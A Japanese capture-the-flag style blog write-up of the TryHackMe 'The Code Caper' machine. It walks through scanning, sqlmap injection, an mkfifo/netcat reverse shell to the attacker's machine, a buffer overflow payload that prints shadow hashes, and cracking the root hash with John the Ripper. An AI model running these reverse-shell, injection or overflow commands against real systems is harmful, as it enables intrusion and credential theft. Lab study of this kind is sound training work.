はじめに
こんにちは。
今回はTryHackmeのThe Code Caperを解いてみたところ、ペネトレーションテストを勉強するにあたって必要な色んな技術が詰まっていて、勉強するのに非常に良いマシンだったのでWriteUpとして書いてみました。
TryHackMeは誘導もついていて、ペネトレーションテストの勉強したいけどなにからはじめていいかわからん、、、、といった方にも取り組みやすく、学習しやすいプラットフォームが整っているので、これからペネトレーションテストの勉強しようという方はぜひ取り組んでみてください。
ハッキング・ラボを一通り終えた方にも、ほかにはどんな技術があるの?といったことを手を動かしながら学べるちょうどいい機会になるのではないかと思われます。
TryHackMe について
TryHackMe はサイバーセキュリティに携わるうえで必要な知識や技術を、問題を解いていくことで学べるオンラインプラットフォームです。無料で始めることができ、月$10のサブスクリプションに課金することで、より高度かつ幅広いコンテンツを使って学ぶことができます。無料枠でも基礎的な問題からちょっと応用の聞いた問題までかなり色んな種類の問題に取り組めます。
今回解説するマシンもTryHackMeのなかの無料のマシンの一つで、幅広く技術を扱っていて勉強にもなったので皆さんにも知ってもらいたいと思い、記事にしてみました。マシンの難易度としてはVulnHubのKioptrixくらいだと個人的には思っていますが、こちらは誘導もついているのでもう少し簡単かもしれません。
TryHackMeの始め方はこちらのURL (https://tryhackme.com/dashboard) から登録フォームにてメールアドレスを登録して、左側のHacktivitiesの欄からRoomと呼ばれるマシン別の問題リストを適当に探してJoinするだけです。簡単ですね!
また、VPNで攻略対象マシンがいるネットワークに接続する必要があります。以下の解説に入る前に接続しておいてください。このやり方については専用に学べるRoomがありますので、そちらを探して参照してみてください。
ではThe Code Caperの解説に入りたいと思います。
※ここで使用している技術は許可された環境や自分で管理している環境にのみ使用してください。
The Code Caper Writeup
ホストの調査
まずはDeployしてIPアドレスを取得し、nmapで開いているポートを調査します。-A
オプションをつけることで詳細な調査ができますが、時間がかかるので、最初は外して開いているポートを先に調査してしまいます。
$ sudo nmap 10.10.194.163 -p1-1000 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-19 20:49 JST
Nmap scan report for 10.10.194.163
Host is up (0.31s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 403.50 seconds
Webページの調査
Webサーバがあるので、どんなページがあるのか調査するためにコンテンツスキャンをかけてみます。これにはgobuster
を使います。
また辞書リストは好みのものでいいですが、個人的には最初の1回はKaliに収録されている/usr/share/wordlists/dirb/common.txt
が汎用性も高く、スキャン数も多すぎないのでおすすめです。
$ gobuster dir -x html,txt,php -u http://10.10.194.163 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.194.163
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
2020/05/19 21:05:04 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
.............................................
/administrator.php (Status: 200)
.............................................
===============================================================
2020/05/19 21:13:15 Finished
===============================================================
adiministrator.php
が見つかったので接続してみるとログインフォームが出てきます。
ログインフォームではパスワードクラックやSQLインジェクションが使えないか疑ってみましょう。パスワードクラックは場合によっては時間もかかるうえに、今回はユーザ情報を入手できそうな場面がありません。なのでSQLインジェクションを試せないか、調査していきます。
OSCPの試験では使えないそうですが、今回は簡潔さ重視でsqlmap
を使います。
$ sqlmap -u http://10.10.194.163/administrator.php --dump --forms --level=5 --risk=3
___
__H__
___ ___[(]_____ ___ ___ {1.4.4#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:25:14 /2020-05-19/
[21:25:15] [INFO] testing connection to the target URL
[21:25:15] [INFO] searching for forms
[#1] form:
POST http://10.10.194.163/administrator.php
POST data: username=&password=
do you want to test this form? [Y/n/q]
>
Edit POST data [default: username=&password=] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n]
...............................................
Database: users
Table: users
[1 entry]
+----------+------------+
| username | password |
+----------+------------+
| ******** | ********** |
+----------+------------+
[21:44:45] [INFO] table 'users.users' dumped to CSV file '/xxxx/yyyyyy/.sqlmap/output/10.10.194.163/dump/users/users.csv'
[21:44:45] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/xxxx/yyyyyy/.sqlmap/output/results-05192020_0925pm.csv'
[*] ending @ 21:44:45 /2020-05-19/
この結果を使ってログインしてみるとコマンドを打つ画面が出てきます。
適当にid
やls
コマンドをうって表示結果を確認してみてください。これはコマンドインジェクションを簡単に実現するページです。
そこでこのコマンドインジェクションを利用して、リバースシェルで侵入することを目指します。
まずは攻撃側の端末でnetcat
のリッスンポートを立ち上げます。
kali:~$ nc -lvp 4444
次に先ほどのコマンドインジェクションの画面で
リバースシェルの実現にはいろんな方法があります。netcat
の-e /bin/sh
がもっとも簡単なコマンドですが、セキュリティ対策のためにこのオプションをサポートしないことが多いです。
今回はmkfifo
を使った次のようなテクニックによってリバースシェルを実現しました。
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc (KaliのIPaddress) 4444 >/tmp/f
このコマンドを実行するとシェルが取れます
kali:~$ netcat -lvp 4444
listening on [any] 4444 ...
10.10.194.163: inverse host lookup failed: Unknown host
connect to [10.9.5.213] from (UNKNOWN) [10.10.194.163] 53026
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
情報収集(侵入)
なにか役に立ちそうなファイルがないか探してみます。
たとえば/home
ディレクトリや/var
、/opt
などをtree
コマンドやfind
コマンド、ls
コマンドを駆使して探すことができますが、今回はログインしたディレクトリからパスワードが配置してある場所が近かったので、いかにも隠してそうな怪しい名前のフォルダがすぐに見つかりました。
頑張って探してみてください。
そのファイルをひらくと中にパスワードが記載されているます。ここでパスワードが使えそうな場所として、最初のnmap
の実行結果で見たssh
を思い出しましょう。
以下のコマンドでどんなユーザがいるかだけしっかり把握してssh
で接続し、侵入していきます。
$ cat /etc/passwd | grep -v "nologin" | grep -v "false" | grep -v "sync"
root:x:0:0:root:/root:/bin/bash
papa:x:1000:1000:qaa:/home/papa:/bin/bash
pingu:x:1002:1002::/home/pingu:/bin/bash
kali:~$ ssh pingu@10.10.194.163
The authenticity of host '10.10.194.163 (10.10.194.163)' can't be established.
ECDSA key fingerprint is SHA256:jAGdoIBGaTVGRC6n/NXl76tRfHyed/hhboT1IvCPO84.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.194.163' (ECDSA) to the list of known hosts.
pingu@10.10.194.163's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Mon Jan 20 14:14:47 2020
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
pingu@ubuntu:~$ id
uid=1002(pingu) gid=1002(pingu) groups=1002(pingu),4(adm),24(cdrom),27(sudo),30(dip)
pingu@ubuntu:~$ whoami
pingu
pingu@ubuntu:~$ sudo -l
[sudo] password for pingu:
Sorry, user pingu may not run sudo on ubuntu.
情報収集(特権昇格)
次に行うべきは特権昇格ですが、sudo -l
コマンドで特権の確認をしてみたものの、何もsudo
権限が与えられていなさそうなので断念。
次に情報収集ツールを使っていきます。前のブログでも紹介したlinpeas.sh
かLinEnum
を使いますが、今回はLinEnum
でやってみましょう。
流れとしては以下のようになります。
- Kali側にツールをダウンロードする
- Kali側でSimpleHTTPサーバを立ち上げる
- 侵入対象マシン側でKaliからwgetする
- 実行する
kali:~$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
kali:~$ python -m SimpleHTTPServer 9999
pingu@ubuntu:~$ wget http://(KaliのIPaddress):9999/LinEnum.sh
これらのツールの出力結果は、まず最初にSUID
がrootに割り振られたバイナリをみていくといいかとおもわれます。
するとおもしろそうなバイナリが見つかりました。
..................
-e \e[00;31m[-] SUID files:\e[00m
-r-sr-xr-x 1 root papa 7516 Jan 16 21:07 /opt/secret/root
..................
このコマンド、実行してコマンドを打っても一見なにも起きませんが、使えそうです。
エクスプロイト
なにかできないかと追加情報を探していると、pinguユーザのホームディレクトリに.gdbinit
があるのを確認したのでgdb
があると踏んで、/opt/secret/root
をデバッガにかけてエクスプロイトを試みます。
pingu@ubuntu:~$ gdb -q /opt/secret/root
pwndbg: loaded 178 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from /opt/secret/root...(no debugging symbols found)...done.
pwndbg> i func
All defined functions:
Non-debugging symbols:
0x08048330 _init
0x08048370 setgid@plt
0x08048380 system@plt
0x08048390 __libc_start_main@plt
0x080483a0 setuid@plt
0x080483b0 __isoc99_scanf@plt
0x080483d0 _start
0x08048400 __x86.get_pc_thunk.bx
0x08048410 deregister_tm_clones
0x08048440 register_tm_clones
0x08048480 __do_global_dtors_aux
0x080484a0 frame_dummy
0x080484cb shell
0x08048504 get_input
0x08048521 main
0x08048550 __libc_csu_init
0x080485b0 __libc_csu_fini
0x080485b4 _fini
まずは関数リストを取得しました。shell
がめちゃくちゃ怪しそうですね。
main
,shell
,get_input
あたりを軽く逆アセンブルしていきます。
pwndbg> disassemble main
Dump of assembler code for function main:
0x08048521 <+0>: lea ecx,[esp+0x4]
0x08048525 <+4>: and esp,0xfffffff0
0x08048528 <+7>: push DWORD PTR [ecx-0x4]
0x0804852b <+10>: push ebp
0x0804852c <+11>: mov ebp,esp
0x0804852e <+13>: push ecx
0x0804852f <+14>: sub esp,0x4
0x08048532 <+17>: call 0x8048504 <get_input>
0x08048537 <+22>: mov eax,0x0
0x0804853c <+27>: add esp,0x4
0x0804853f <+30>: pop ecx
0x08048540 <+31>: pop ebp
0x08048541 <+32>: lea esp,[ecx-0x4]
0x08048544 <+35>: ret
End of assembler dump.
pwndbg> disassemble get_input
Dump of assembler code for function get_input:
0x08048504 <+0>: push ebp
0x08048505 <+1>: mov ebp,esp
0x08048507 <+3>: sub esp,0x28
0x0804850a <+6>: sub esp,0x8
0x0804850d <+9>: lea eax,[ebp-0x28]
0x08048510 <+12>: push eax
0x08048511 <+13>: push 0x80485ec
0x08048516 <+18>: call 0x80483b0 <__isoc99_scanf@plt>
0x0804851b <+23>: add esp,0x10
0x0804851e <+26>: nop
0x0804851f <+27>: leave
0x08048520 <+28>: ret
End of assembler dump.
pwndbg> disassemble shell
Dump of assembler code for function shell:
0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x8
0x080484d1 <+6>: sub esp,0xc
0x080484d4 <+9>: push 0x3e8
0x080484d9 <+14>: call 0x80483a0 <setuid@plt>
0x080484de <+19>: add esp,0x10
0x080484e1 <+22>: sub esp,0xc
0x080484e4 <+25>: push 0x3e8
0x080484e9 <+30>: call 0x8048370 <setgid@plt>
0x080484ee <+35>: add esp,0x10
0x080484f1 <+38>: sub esp,0xc
0x080484f4 <+41>: push 0x80485d0
0x080484f9 <+46>: call 0x8048380 <system@plt>
0x080484fe <+51>: add esp,0x10
0x08048501 <+54>: nop
0x08048502 <+55>: leave
0x08048503 <+56>: ret
End of assembler dump.
それぞれみたところ、main関数でget_input
が呼び出されて入力をうけとっているようですね。
また、shell関数はsystem
関数が呼び出されているので何らかの処理が行われることがわかります。main関数で起こる一連のフローからは外れているのでおそらくバッファオーバーフローなどのテクニックで、shell関数に制御をうつせばよい、またはsystem
関数をつかってシェルを起動すればよい、などのアイデアが生まれます。
shell関数内のsystem
関数には引数として0x80485d0
のアドレスに格納された何かがpush
でスタックに積まれて渡されているので内容を表示します。
pwndbg> x/s 0x80485d0
0x80485d0: "cat /var/backups/shadow.bak"
/etc/shadow
のバックアップファイルみたいですね。/etc/shadow
はパスワードのハッシュを格納したファイルなので、これが見れればpapaやrootのパスワード解析ができるかもしれません。
そこで、いったん制御をshell
関数に移してしまいましょう。
バッファオーバーフローを起こすには、プログラムがセグメンテーションフォールトを起こすまでの入力となるオフセットをまず求める必要があります。バッファオーバーフローの原理についてはここでは詳細は割愛させていただきます。
オフセットの求め方①
pwndbgではcyclicコマンドを使ってオフセットを求めることができます。
pwndbg> r < <(cyclic 50)
Starting program: /opt/secret/root < <(cyclic 50)
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
EAX 0x1
EBX 0x0
ECX 0x1
EDX 0xf771c87c (_IO_stdfile_0_lock) ◂— 0
EDI 0xf771b000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
ESI 0xf771b000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
EBP 0x6161616b ('kaaa')
ESP 0xff9ed260 ◂— 0xf700616d /* 'ma' */
EIP 0x6161616c ('laaa')
───────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────
Invalid address 0x6161616c
───────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff9ed260 ◂— 0xf700616d /* 'ma' */
01:0004│ 0xff9ed264 —▸ 0xff9ed280 ◂— 0x1
02:0008│ 0xff9ed268 ◂— 0x0
03:000c│ 0xff9ed26c —▸ 0xf7581637 (__libc_start_main+247) ◂— add esp, 0x10
04:0010│ 0xff9ed270 —▸ 0xf771b000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
... ↓
06:0018│ 0xff9ed278 ◂— 0x0
07:001c│ 0xff9ed27c —▸ 0xf7581637 (__libc_start_main+247) ◂— add esp, 0x10
─────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 6161616c
f 1 f700616d
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x6161616c)
pwndbg> cyclic -l 0x6161616c
44
オフセットの求め方②
①の方法はTryHackMeの誘導にあったんですが、自分はこのとき解くのに夢中で誘導を見ていなかったので以下の方法でやりました。pwndbgがあれば上のほうが便利ですね。
kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A (←コピペ)
ingu@ubuntu:~$ gdb /opt/secret/root -q
pwndbg: loaded 178 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from /opt/secret/root...(no debugging symbols found)...done.
pwndbg> run
Starting program: /opt/secret/root
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()
kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x35624134
[*] Exact match at offset 44
いずれの方法でもいいですが、これでオフセットが44
であることがわかりました。
ではこのオフセットを使って制御をshell関数に流し込んでみましょう。
shell関数のアドレスは関数アドレスリストの結果より0x080484cb
なので、リトルエンディアンであることを考慮して次のようなコマンドを入力します。
pingu@ubuntu:~$ python -c 'print("A"*44+"\xcb\x84\x04\x08")' | /opt/secret/root
root:$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:18277:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18277:0:99999:7:::
uuidd:*:18277:0:99999:7:::
papa:$1$ORU43el1$tgY7epqx64xDbXvvaSEnu.:18277:0:99999:7:::
Illegal instruction
これでハッシュを入手することができました。
ハッシュの解析
rootのハッシュ$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.
を書き込んだファイルを作成します。
$ echo "$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck." > hash
誘導ではhashcat
を紹介していましたが、自分はJohn The Ripper を使いました。
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
******* (?)
1g 0:00:03:32 DONE (2020-05-20 19:29) 0.004697g/s 1126p/s 1126c/s 1126C/s lovelife07..lossims
Use the "--show" option to display all of the cracked passwords reliably
Session completed
とあるパスワードが******
に表示されます。
これでパスワードがわかったのでルート権限がとれましたね。
pingu@ubuntu:~$ su
Password:
root@ubuntu:/home/pingu# id
uid=0(root) gid=0(root) groups=0(root)
終わりに
解説は以上になります。
Webからアセンブリまで一定の理解が求められるので個人的にはやっていてとても楽しいマシンでした。
みなさんもぜひ挑戦していただければと思います。
実はバッファオーバフローのエクスプロイトのところで、同じコマンドを打ったのに最初はパーミッションエラーが出たのですが、マシンを再起動して再度叩いてみるとなぜかいけました、、、謎だ、、、、。
間違いや問題のある箇所などがあればご指摘願います。
ここまで読んでいただき、ありがとうございました。